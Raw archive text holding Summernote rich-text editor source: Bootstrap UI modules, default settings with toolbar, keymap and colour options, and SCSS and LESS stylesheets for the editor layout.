  dropdownButtonContents: dropdownButtonContents,
  dropdownCheck: dropdownCheck,
  palette: palette,
  dialog: dialog,
  popover: popover,
  checkbox: checkbox,
  icon: icon,
  options: {},

  button: function($node, options) {
    return renderer.create('<button type="button" class="note-btn btn btn-default btn-sm" role="button" tabindex="-1">', function($node, options) {
      if (options && options.tooltip) {
        $node.attr({
          title: options.tooltip,
          'aria-label': options.tooltip
        }).tooltip({
          container: options.container,
          trigger: 'hover',
          placement: 'bottom'
        });
      }
    })($node, options);
  },

  toggleBtn: function($btn, isEnable) {
    $btn.toggleClass('disabled', !isEnable);
    $btn.attr('disabled', !isEnable);
  },

  toggleBtnActive: function($btn, isActive) {
    $btn.toggleClass('active', isActive);
  },

  onDialogShown: function($dialog, handler) {
    $dialog.one('shown.bs.modal', handler);
  },

  onDialogHidden: function($dialog, handler) {
    $dialog.one('hidden.bs.modal', handler);
  },

  showDialog: function($dialog) {
    $dialog.modal('show');
  },

  hideDialog: function($dialog) {
    $dialog.modal('hide');
  },

  createLayout: function($note, options) {
    const $editor = (options.airMode ? ui.airEditor([
      ui.editingArea([
        ui.airEditable()
      ])
    ]) : ui.editor([
      ui.toolbar(),
      ui.editingArea([
        ui.codable(),
        ui.editable()
      ]),
      ui.statusbar()
    ])).render();

    $editor.insertAfter($note);

    return {
      note: $note,
      editor: $editor,
      toolbar: $editor.find('.note-toolbar'),
      editingArea: $editor.find('.note-editing-area'),
      editable: $editor.find('.note-editable'),
      codable: $editor.find('.note-codable'),
      statusbar: $editor.find('.note-statusbar')
    };
  },

  removeLayout: function($note, layoutInfo) {
    $note.html(layoutInfo.editable.html());
    layoutInfo.editor.remove();
    $note.show();
  }
};

export default ui;
PK�{�\CK)V�(�(js/bs4/settings.jsnu�[���import $ from 'jquery';
import ui from '../bs4/ui';
import dom from '../base/core/dom';
import '../base/summernote-en-US';
import Editor from '../base/module/Editor';
import Clipboard from '../base/module/Clipboard';
import Dropzone from '../base/module/Dropzone';
import Codeview from '../base/module/Codeview';
import Statusbar from '../base/module/Statusbar';
import Fullscreen from '../base/module/Fullscreen';
import Handle from '../base/module/Handle';
import AutoLink from '../base/module/AutoLink';
import AutoSync from '../base/module/AutoSync';
import Placeholder from '../base/module/Placeholder';
import Buttons from '../base/module/Buttons';
import Toolbar from '../base/module/Toolbar';
import LinkDialog from '../base/module/LinkDialog';
import LinkPopover from '../base/module/LinkPopover';
import ImageDialog from '../base/module/ImageDialog';
import ImagePopover from '../base/module/ImagePopover';
import TablePopover from '../base/module/TablePopover';
import VideoDialog from '../base/module/VideoDialog';
import HelpDialog from '../base/module/HelpDialog';
import AirPopover from '../base/module/AirPopover';
import HintPopover from '../base/module/HintPopover';

$.summernote = $.extend($.summernote, {
  version: '@@VERSION@@',
  ui: ui,
  dom: dom,

  plugins: {},

  options: {
    modules: {
      'editor': Editor,
      'clipboard': Clipboard,
      'dropzone': Dropzone,
      'codeview': Codeview,
      'statusbar': Statusbar,
      'fullscreen': Fullscreen,
      'handle': Handle,
      // FIXME: HintPopover must be front of autolink
      //  - Script error about range when Enter key is pressed on hint popover
      'hintPopover': HintPopover,
      'autoLink': AutoLink,
      'autoSync': AutoSync,
      'placeholder': Placeholder,
      'buttons': Buttons,
      'toolbar': Toolbar,
      'linkDialog': LinkDialog,
      'linkPopover': LinkPopover,
      'imageDialog': ImageDialog,
      'imagePopover': ImagePopover,
      'tablePopover': TablePopover,
      'videoDialog': VideoDialog,
      'helpDialog': HelpDialog,
      'airPopover': AirPopover
    },

    buttons: {},

    lang: 'en-US',

    followingToolbar: true,
    otherStaticBar: '',

    // toolbar
    toolbar: [
      ['style', ['style']],
      ['font', ['bold', 'underline', 'clear']],
      ['fontname', ['fontname']],
      ['color', ['color']],
      ['para', ['ul', 'ol', 'paragraph']],
      ['table', ['table']],
      ['insert', ['link', 'picture', 'video']],
      ['view', ['fullscreen', 'codeview', 'help']]
    ],

    // popover
    popatmouse: true,
    popover: {
      image: [
        ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
        ['float', ['floatLeft', 'floatRight', 'floatNone']],
        ['remove', ['removeMedia']]
      ],
      link: [
        ['link', ['linkDialogShow', 'unlink']]
      ],
      table: [
        ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
        ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
      ],
      air: [
        ['color', ['color']],
        ['font', ['bold', 'underline', 'clear']],
        ['para', ['ul', 'paragraph']],
        ['table', ['table']],
        ['insert', ['link', 'picture']]
      ]
    },

    // air mode: inline editor
    airMode: false,

    width: null,
    height: null,
    linkTargetBlank: true,

    focus: false,
    tabSize: 4,
    styleWithSpan: true,
    shortcuts: true,
    textareaAutoSync: true,
    hintDirection: 'bottom',
    tooltip: 'auto',
    container: 'body',
    maxTextLength: 0,

    styleTags: [
      'p',
      { title: 'Blockquote', tag: 'blockquote', className: 'blockquote', value: 'blockquote' },
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6'
    ],

    fontNames: [
      'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',
      'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',
      'Tahoma', 'Times New Roman', 'Verdana'
    ],

    fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],

    // pallete colors(n x n)
    colors: [
      ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],
      ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],
      ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],
      ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],
      ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],
      ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],
      ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],
      ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']
    ],

    // http://chir.ag/projects/name-that-color/
    colorsName: [
      ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],
      ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],
      ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],
      ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],
      ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],
      ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],
      ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],
      ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']
    ],

    lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],

    tableClassName: 'table table-bordered',

    insertTableMaxSize: {
      col: 10,
      row: 10
    },

    dialogsInBody: false,
    dialogsFade: false,

    maximumImageFileSize: null,

    callbacks: {
      onInit: null,
      onFocus: null,
      onBlur: null,
      onBlurCodeview: null,
      onEnter: null,
      onKeyup: null,
      onKeydown: null,
      onImageUpload: null,
      onImageUploadError: null
    },

    codemirror: {
      mode: 'text/html',
      htmlMode: true,
      lineNumbers: true
    },

    keyMap: {
      pc: {
        'ENTER': 'insertParagraph',
        'CTRL+Z': 'undo',
        'CTRL+Y': 'redo',
        'TAB': 'tab',
        'SHIFT+TAB': 'untab',
        'CTRL+B': 'bold',
        'CTRL+I': 'italic',
        'CTRL+U': 'underline',
        'CTRL+SHIFT+S': 'strikethrough',
        'CTRL+BACKSLASH': 'removeFormat',
        'CTRL+SHIFT+L': 'justifyLeft',
        'CTRL+SHIFT+E': 'justifyCenter',
        'CTRL+SHIFT+R': 'justifyRight',
        'CTRL+SHIFT+J': 'justifyFull',
        'CTRL+SHIFT+NUM7': 'insertUnorderedList',
        'CTRL+SHIFT+NUM8': 'insertOrderedList',
        'CTRL+LEFTBRACKET': 'outdent',
        'CTRL+RIGHTBRACKET': 'indent',
        'CTRL+NUM0': 'formatPara',
        'CTRL+NUM1': 'formatH1',
        'CTRL+NUM2': 'formatH2',
        'CTRL+NUM3': 'formatH3',
        'CTRL+NUM4': 'formatH4',
        'CTRL+NUM5': 'formatH5',
        'CTRL+NUM6': 'formatH6',
        'CTRL+ENTER': 'insertHorizontalRule',
        'CTRL+K': 'linkDialog.show'
      },

      mac: {
        'ENTER': 'insertParagraph',
        'CMD+Z': 'undo',
        'CMD+SHIFT+Z': 'redo',
        'TAB': 'tab',
        'SHIFT+TAB': 'untab',
        'CMD+B': 'bold',
        'CMD+I': 'italic',
        'CMD+U': 'underline',
        'CMD+SHIFT+S': 'strikethrough',
        'CMD+BACKSLASH': 'removeFormat',
        'CMD+SHIFT+L': 'justifyLeft',
        'CMD+SHIFT+E': 'justifyCenter',
        'CMD+SHIFT+R': 'justifyRight',
        'CMD+SHIFT+J': 'justifyFull',
        'CMD+SHIFT+NUM7': 'insertUnorderedList',
        'CMD+SHIFT+NUM8': 'insertOrderedList',
        'CMD+LEFTBRACKET': 'outdent',
        'CMD+RIGHTBRACKET': 'indent',
        'CMD+NUM0': 'formatPara',
        'CMD+NUM1': 'formatH1',
        'CMD+NUM2': 'formatH2',
        'CMD+NUM3': 'formatH3',
        'CMD+NUM4': 'formatH4',
        'CMD+NUM5': 'formatH5',
        'CMD+NUM6': 'formatH6',
        'CMD+ENTER': 'insertHorizontalRule',
        'CMD+K': 'linkDialog.show'
      }
    },
    icons: {
      'align': 'note-icon-align',
      'alignCenter': 'note-icon-align-center',
      'alignJustify': 'note-icon-align-justify',
      'alignLeft': 'note-icon-align-left',
      'alignRight': 'note-icon-align-right',
      'rowBelow': 'note-icon-row-below',
      'colBefore': 'note-icon-col-before',
      'colAfter': 'note-icon-col-after',
      'rowAbove': 'note-icon-row-above',
      'rowRemove': 'note-icon-row-remove',
      'colRemove': 'note-icon-col-remove',
      'indent': 'note-icon-align-indent',
      'outdent': 'note-icon-align-outdent',
      'arrowsAlt': 'note-icon-arrows-alt',
      'bold': 'note-icon-bold',
      'caret': 'note-icon-caret',
      'circle': 'note-icon-circle',
      'close': 'note-icon-close',
      'code': 'note-icon-code',
      'eraser': 'note-icon-eraser',
      'font': 'note-icon-font',
      'frame': 'note-icon-frame',
      'italic': 'note-icon-italic',
      'link': 'note-icon-link',
      'unlink': 'note-icon-chain-broken',
      'magic': 'note-icon-magic',
      'menuCheck': 'note-icon-menu-check',
      'minus': 'note-icon-minus',
      'orderedlist': 'note-icon-orderedlist',
      'pencil': 'note-icon-pencil',
      'picture': 'note-icon-picture',
      'question': 'note-icon-question',
      'redo': 'note-icon-redo',
      'square': 'note-icon-square',
      'strikethrough': 'note-icon-strikethrough',
      'subscript': 'note-icon-subscript',
      'superscript': 'note-icon-superscript',
      'table': 'note-icon-table',
      'textHeight': 'note-icon-text-height',
      'trash': 'note-icon-trash',
      'underline': 'note-icon-underline',
      'undo': 'note-icon-undo',
      'unorderedlist': 'note-icon-unorderedlist',
      'video': 'note-icon-video'
    }
  }
});

import '../summernote'; // eslint-disable-line
PK�{�\�#Zj!j!js/bs4/ui.jsnu�[���import $ from 'jquery';
import renderer from '../base/renderer';

const editor = renderer.create('<div class="note-editor note-frame card"/>');
const toolbar = renderer.create('<div class="note-toolbar-wrapper"><div class="note-toolbar card-header" role="toolbar"></div></div>');
const editingArea = renderer.create('<div class="note-editing-area"/>');
const codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>');
const editable = renderer.create('<div class="note-editable card-block" contentEditable="true" role="textbox" aria-multiline="true"/>');
const statusbar = renderer.create([
  '<output class="note-status-output" aria-live="polite"/>',
  '<div class="note-statusbar" role="status">',
  '  <output class="note-status-output" aria-live="polite"></output>',
  '  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">',
  '    <div class="note-icon-bar"/>',
  '    <div class="note-icon-bar"/>',
  '    <div class="note-icon-bar"/>',
  '  </div>',
  '</div>'
].join(''));

const airEditor = renderer.create('<div class="note-editor"/>');
const airEditable = renderer.create([
  '<output class="note-status-output" aria-live="polite"/>',
  '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'
].join(''));

const buttonGroup = renderer.create('<div class="note-btn-group btn-group">');

const dropdown = renderer.create('<div class="dropdown-menu" role="list">', function($node, options) {
  const markup = $.isArray(options.items) ? options.items.map(function(item) {
    const value = (typeof item === 'string') ? item : (item.value || '');
    const content = options.template ? options.template(item) : item;
    const option = (typeof item === 'object') ? item.option : undefined;

    const dataValue = 'data-value="' + value + '"';
    const dataOption = (option !== undefined) ? ' data-option="' + option + '"' : '';
    return '<a class="dropdown-item" href="#" ' + (dataValue + dataOption) + ' role="listitem" aria-label="' + item + '">' + content + '</a>';
  }).join('') : options.items;

  $node.html(markup).attr({'aria-label': options.title});
});

const dropdownButtonContents = function(contents) {
  return contents;
};

const dropdownCheck = renderer.create('<div class="dropdown-menu note-check" role="list">', function($node, options) {
  const markup = $.isArray(options.items) ? options.items.map(function(item) {
    const value = (typeof item === 'string') ? item : (item.value || '');
    const content = options.template ? options.template(item) : item;
    return '<a class="dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '">' + icon(options.checkClassName) + ' ' + content + '</a>';
  }).join('') : options.items;
  $node.html(markup).attr({'aria-label': options.title});
});

const palette = renderer.create('<div class="note-color-palette"/>', function($node, options) {
  const contents = [];
  for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {
    const eventName = options.eventName;
    const colors = options.colors[row];
    const colorsName = options.colorsName[row];
    const buttons = [];
    for (let col = 0, colSize = colors.length; col < colSize; col++) {
      const color = colors[col];
      const colorName = colorsName[col];
      buttons.push([
        '<button type="button" class="note-color-btn"',
        'style="background-color:', color, '" ',
        'data-event="', eventName, '" ',
        'data-value="', color, '" ',
        'title="', colorName, '" ',
        'aria-label="', colorName, '" ',
        'data-toggle="button" tabindex="-1"></button>'
      ].join(''));
    }
    contents.push('<div class="note-color-row">' + buttons.join('') + '</div>');
  }
  $node.html(contents.join(''));

  if (options.tooltip) {
    $node.find('.note-color-btn').tooltip({
      container: options.container,
      trigger: 'hover',
      placement: 'bottom'
    });
  }
});

const dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function($node, options) {
  if (options.fade) {
    $node.addClass('fade');
  }
  $node.attr({
    'aria-label': options.title
  });
  $node.html([
    '<div class="modal-dialog">',
    '  <div class="modal-content">',
    (options.title
      ? '    <div class="modal-header">' +
    '      <h4 class="modal-title">' + options.title + '</h4>' +
    '      <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">&times;</button>' +
    '    </div>' : ''
    ),
    '    <div class="modal-body">' + options.body + '</div>',
    (options.footer
      ? '    <div class="modal-footer">' + options.footer + '</div>' : ''
    ),
    '  </div>',
    '</div>'
  ].join(''));
});

const popover = renderer.create([
  '<div class="note-popover popover in">',
  '  <div class="arrow"/>',
  '  <div class="popover-content note-children-container"/>',
  '</div>'
].join(''), function($node, options) {
  const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';

  $node.addClass(direction);

  if (options.hideArrow) {
    $node.find('.arrow').hide();
  }
});

const checkbox = renderer.create('<label class="custom-control custom-checkbox"></label>', function($node, options) {
  if (options.id) {
    $node.attr('for', options.id);
  }
  $node.html([
    ' <input role="checkbox" type="checkbox" class="custom-control-input"' + (options.id ? ' id="' + options.id + '"' : ''),
    (options.checked ? ' checked' : ''),
    ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>',
    ' <span class="custom-control-indicator"></span>',
    ' <span class="custom-control-description">' + (options.text ? options.text : '') + '</span>',
    '</label>'
  ].join(''));
});

const icon = function(iconClassName, tagName) {
  tagName = tagName || 'i';
  return '<' + tagName + ' class="' + iconClassName + '"/>';
};

const ui = {
  editor: editor,
  toolbar: toolbar,
  editingArea: editingArea,
  codable: codable,
  editable: editable,
  statusbar: statusbar,
  airEditor: airEditor,
  airEditable: airEditable,
  buttonGroup: buttonGroup,
  dropdown: dropdown,
  dropdownButtonContents: dropdownButtonContents,
  dropdownCheck: dropdownCheck,
  palette: palette,
  dialog: dialog,
  popover: popover,
  icon: icon,
  checkbox: checkbox,
  options: {},

  button: function($node, options) {
    return renderer.create('<button type="button" class="note-btn btn btn-light btn-sm" role="button" tabindex="-1">', function($node, options) {
      if (options && options.tooltip) {
        $node.attr({
          title: options.tooltip,
          'aria-label': options.tooltip
        }).tooltip({
          container: options.container,
          trigger: 'hover',
          placement: 'bottom'
        });
      }
    })($node, options);
  },

  toggleBtn: function($btn, isEnable) {
    $btn.toggleClass('disabled', !isEnable);
    $btn.attr('disabled', !isEnable);
  },

  toggleBtnActive: function($btn, isActive) {
    $btn.toggleClass('active', isActive);
  },

  onDialogShown: function($dialog, handler) {
    $dialog.one('shown.bs.modal', handler);
  },

  onDialogHidden: function($dialog, handler) {
    $dialog.one('hidden.bs.modal', handler);
  },

  showDialog: function($dialog) {
    $dialog.modal('show');
  },

  hideDialog: function($dialog) {
    $dialog.modal('hide');
  },

  createLayout: function($note, options) {
    const $editor = (options.airMode ? ui.airEditor([
      ui.editingArea([
        ui.airEditable()
      ])
    ]) : ui.editor([
      ui.toolbar(),
      ui.editingArea([
        ui.codable(),
        ui.editable()
      ]),
      ui.statusbar()
    ])).render();

    $editor.insertAfter($note);

    return {
      note: $note,
      editor: $editor,
      toolbar: $editor.find('.note-toolbar'),
      editingArea: $editor.find('.note-editing-area'),
      editable: $editor.find('.note-editable'),
      codable: $editor.find('.note-codable'),
      statusbar: $editor.find('.note-statusbar')
    };
  },

  removeLayout: function($note, layoutInfo) {
    $note.html(layoutInfo.editable.html());
    layoutInfo.editor.remove();
    $note.show();
  }
};

export default ui;
PK�{�\!-b�?.?.less/summernote.scssnu�[���@import "elements.scss";

/* Theme Variables
 ------------------------------------------*/
$border-color: #a9a9a9;
$background-color: #f5f5f5;

$img-margin-left: 10px;
$img-margin-right: 10px;

/* Layout
 ------------------------------------------*/
.note-editor {
  position: relative;

  /* dropzone */
  $dropzone-color: lightskyblue;
  $dropzone-active-color: darken($dropzone-color, 30);
  .note-dropzone {
    position: absolute;
    display: none;
    z-index: 100;
    color: $dropzone-color;
    background-color: #fff;
    opacity: 0.95;

    .note-dropzone-message {
      display: table-cell;
      vertical-align: middle;
      text-align: center;
      font-size: 28px;
      font-weight: 700;
    }

    &.hover {
      color: $dropzone-active-color;
    }
  }

  &.dragover .note-dropzone {
    display: table;
  }

  .note-editing-area {
    position: relative;

    .note-editable {
      outline: none;

      sup {
        vertical-align: super;
      }

      sub {
        vertical-align: sub;
      }

      img.note-float-left {
        margin-right: $img-margin-right;
      }

      img.note-float-right {
        margin-left: $img-margin-left;
      }
    }
  }
}

/* Frame mode layout
------------------------------------------*/
.note-editor.note-frame {
  border: 1px solid $border-color;

  /* codeview mode */
  &.codeview {
    .note-editing-area {
      .note-editable {
        display: none;
      }
      .note-codable {
        display: block;
      }
    }
  }

  .note-editing-area {
    overflow: hidden;

    /* editable */
    .note-editable {
      background-color: #fff;
      color: #000;
      padding: 10px;
      overflow: auto;
      word-wrap: break-word;

      &[contenteditable="false"] {
        background-color: #e5e5e5;
      }
    }

    /* codeable */
    .note-codable {
      display: none;
      width: 100%;
      padding: 10px;
      border: none;
      box-shadow: none;
      font-family: Menlo, Monaco, monospace, sans-serif;
      font-size: 14px;
      color: #ccc;
      background-color: #222;
      resize: none;

      /* override BS2 default style */
      @include box-sizing(border-box);
      @include rounded(0);
      margin-bottom: 0;
    }
  }

  /* fullscreen mode */
  &.fullscreen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100% !important;
    z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */
    .note-editable {
      background-color: #fff;
    }
    .note-resizebar {
      display: none;
    }
  }

/* Notifications */
  .note-status-output {
    display: block;
    width: 100%;
    font-size: 14px;
    line-height: 1.42857143;
    height: 20px;
    margin-bottom: 0;
    color: #000;
    border: 0;
    border-top: 1px solid #e2e2e2
  }

  .note-status-output:empty {
    height: 0;
    border-top:0 solid transparent
  }

  .note-status-output .pull-right {
    float: right !important
  }

  .note-status-output .text-muted {
    color: #777
  }

  .note-status-output .text-primary {
    color: #286090
  }

  .note-status-output .text-success {
    color: #3c763d
  }

  .note-status-output .text-info {
    color: #31708f
  }

  .note-status-output .text-warning {
    color: #8a6d3b
  }

  .note-status-output .text-danger {
    color:#a94442
  }

  .note-status-output .alert {
    margin: -7px 0 0 0;
    padding: 7px 10px 2px 10px;
    border-radius: 0;
    color: #000;
    background-color: #f5f5f5;
  }

  .note-status-output .alert .note-icon{
    margin-right:5px
  }

  .note-status-output .alert-success {
    color: #3c763d !important;
    background-color: #dff0d8 !important;
  }

  .note-status-output .alert-info {
    color: #31708f !important;
    background-color: #d9edf7 !important;
  }

  .note-status-output .alert-warning {
    color: #8a6d3b !important;
    background-color: #fcf8e3 !important;
  }

  .note-status-output .alert-danger {
    color: #a94442 !important;
    background-color: #f2dede !important;
  }

  /* statusbar */
  .note-statusbar {
    background-color: $background-color;
    border-bottom-left-radius: 4px;
    border-bottom-right-radius: 4px;
    border-top: 1px solid #ddd;
    .note-resizebar {
      padding-top: 1px;
      height: 9px;
      width: 100%;
      cursor: ns-resize;
      .note-icon-bar {
        width: 20px;
        margin: 1px auto;
        border-top: 1px solid $border-color;
      }
    }

    &.locked {
      .note-resizebar {
        cursor: default;
        .note-icon-bar {
          display: none;
        }
      }
    }
  }
  .note-placeholder {
    padding: 10px;
  }
}

/* Popover
------------------------------------------*/
.note-popover.popover {
  max-width: none;
  .popover-content {
    a {
      display: inline-block;
      max-width: 200px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;    /* for FF */
      vertical-align: middle; /* for FF */
    }
  }
  .arrow {
    left: 20px !important;
  }
}

/* Popover and Toolbar (Button container)
------------------------------------------*/
.note-popover .popover-content, .panel-heading.note-toolbar {
  margin: 0;
  padding: 0 0 5px 5px;

  &>.btn-group {
    margin-top: 5px;
    margin-left: 0;
    margin-right: 5px;
  }

  .btn-group {
    .note-table {
      min-width: 0;
      padding: 5px;
      .note-dimension-picker {
        font-size: 18px;
        .note-dimension-picker-mousecatcher {
          position: absolute !important;
          z-index: 3;
          width: 10em;
          height: 10em;
          cursor: pointer;
        }
        .note-dimension-picker-unhighlighted {
          position: relative !important;
          z-index: 1;
          width: 5em;
          height: 5em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
        .note-dimension-picker-highlighted {
          position: absolute !important;
          z-index: 2;
          width: 1em;
          height: 1em;
          background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat;
        }
      }
    }
  }

  .note-style { 
    .dropdown-style {
      blockquote, pre {
          margin: 0;
          padding: 5px 10px;
      }
      h1, h2, h3, h4, h5, h6, p {
          margin: 0;
          padding: 0;
      }
    }
  }

  .note-color {
    .dropdown-toggle {
      width: 20px;
      padding-left: 5px;
    }
    .dropdown-menu {
      min-width: 340px;
      .btn-group {
        margin: 0;
        &:first-child {
          margin: 0 5px;
        }

        .note-palette-title {
          font-size: 12px;
          margin: 2px 7px;
          text-align: center;
          border-bottom: 1px solid #eee;
        }

        .note-color-reset {
          font-size: 11px;
          margin: 3px;
          padding: 0 3px;
          cursor: pointer;
          @include rounded(5px);
        }

        .note-color-row {
          height: 20px;
        }

        .note-color-reset:hover {
          background: #eee;
        }
      }
    }
  }

  .note-para {
    .dropdown-menu {
      min-width: 216px;
      padding: 5px;
      &>div:first-child {
        margin-right: 5px;
      }
    }
  }

  /* dropdown-menu for toolbar and popover */
  .dropdown-menu {
    min-width: 90px;

    /* dropdown-menu right position */
    /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */
    &.right {
      right: 0;
      left: auto;
      &::before { right: 9px; left: auto !important;  }
      &::after { right: 10px; left: auto !important;  }
    }
    /* dropdown-menu for selectbox */
    &.note-check {
      li a i {
        color: deepskyblue;
        visibility: hidden;
      }
      li a.checked i {
        visibility: visible;
      }
    }

  }

  .note-fontsize-10 {
    font-size: 10px;
  }

  /* color palette for toolbar and popover */
  .note-color-palette {
    line-height: 1;
    div {
      .note-color-btn {
        width: 20px;
        height: 20px;
        padding: 0;
        margin: 0;
        border: 1px solid #fff;
      }
      .note-color-btn:hover {
        border: 1px solid #000;
      }
    }
  }
}

/* Dialog
------------------------------------------*/
.note-dialog {
  &>div {
    display: none; /* BS2's hide pacth. */
  }
  .form-group { /* overwrite BS's form-horizontal minus margins */
    margin-left: 0;
    margin-right: 0;
  }
  .note-modal-form {
    margin: 0; /* overwrite BS2's form margin bottom */
  }
  .note-image-dialog {
    .note-dropzone {
      min-height: 100px;
      font-size: 30px;
      line-height: 4; /* vertical-align */
      color: lightgray;
      text-align: center;
      border: 4px dashed lightgray;
      margin-bottom: 10px;
    }
  }
}

/* Placeholder
------------------------------------------*/
.note-placeholder {
  position: absolute;
  display: none;
  color: gray;
}

/* Handle
------------------------------------------*/
.note-handle {
  /* control selection */
  .note-control-selection {
    position: absolute;
    display: none;
    border: 1px solid #000;
    &>div { position: absolute; }

    .note-control-selection-bg {
      width: 100%;
      height: 100%;
      background-color: #000;
      @include opacity(0.3);
    }

    .note-control-handle {
      width: 7px;
      height: 7px;
      border: 1px solid #000;
    }

    .note-control-holder {
      @extend .note-control-handle;
    }

    .note-control-sizing {
      @extend .note-control-handle;
      background-color: #000;
    }

    .note-control-nw {
      top: -5px;
      left: -5px;
      border-right: none;
      border-bottom: none;
    }

    .note-control-ne {
      top: -5px;
      right: -5px;
      border-bottom: none;
      border-left: none;
    }

    .note-control-sw {
      bottom: -5px;
      left: -5px;
      border-top: none;
      border-right: none;
    }

    .note-control-se {
      right: -5px;
      bottom: -5px;
      cursor: se-resize;
    }

    .note-control-se.note-control-holder {
      cursor: default;
      border-top: none;
      border-left: none;
    }

    .note-control-selection-info {
      right: 0;
      bottom: 0;
      padding: 5px;
      margin: 5px;
      color: #fff;
      background-color: #000;
      font-size: 12px;
      @include rounded(5px);
      @include opacity(0.7);
    }
  }
}

.note-hint-popover {
  min-width: 100px;
  padding: 2px;

  .popover-content {
    padding: 3px;
    max-height: 150px;
    overflow: auto;

    .note-hint-group {
      .note-hint-item {
        display: block !important;
        padding: 3px;

        &.active, &:hover {
          display: block;
          clear: both;
          font-weight: 400;
          line-height: 1.4;
          color: white;
          white-space: nowrap;
          text-decoration: none;
          background-color: #428bca;
          outline: 0;
          cursor: pointer;
        }
      }
    }
  }
}
PK�{�\�s�s././less/summernote.lessnu�[���@import "elements.less";
@import "../icons/dist/summernote.less";

/* Theme Variables
 ------------------------------------------*/
@border-color: #a9a9a9;
@background-color: #f5f5f5;

@img-margin-left: 10px;
@img-margin-right: 10px;

/* Layout
 ------------------------------------------*/
.note-editor {
  position: relative;

  /* dropzone */
  @dropzone-color: lightskyblue;
  @dropzone-active-color: darken(@dropzone-color, 30);
  .note-dropzone {
    position: absolute;
    display: none;
    z-index: 100;
    color: @dropzone-color;
    background-color: #fff;
    opacity: 0.95;

    .note-dropzone-message {
      display: table-cell;
      vertical-align: middle;
      text-align: center;
      font-size: 28px;
      font-weight: 700;
    }

    &.hover {
      color: @dropzone-active-color;
    }
  }

  &.dragover .note-dropzone {
    display: table;
  }

  .note-editing-area {
    position: relative;

    .note-editable {
      outline: none;

      sup {
        vertical-align: super;
      }

      sub {
        vertical-align: sub;
      }
    }

    img.note-float-left {
      margin-right: @img-margin-right;
    }

    img.note-float-right {
      margin-left: @img-margin-left;
    }
  }
}

/* Frame mode layout
------------------------------------------*/
.note-editor.note-frame {
  border: 1px solid @border-color;

  /* codeview mode */
  &.codeview {
    .note-editing-area {
      .note-editable {
        display: none;
      }
      .note-codable {
        display: block;
      }
    }
  }

  .note-editing-area {
    overflow: hidden;

    /* editable */
    .note-editable {
      background-color: #fff;
      color: #000;
      padding: 10px;
      overflow: auto;
      word-wrap: break-word;

      &[contenteditable="false"] {
        background-color: #e5e5e5;
      }
    }

    /* codeable */
    .note-codable {
      display: none;
      width: 100%;
      padding: 10px;
      border: none;
      box-shadow: none;
      font-family: Menlo, Monaco, monospace, sans-serif;
      font-size: 14px;
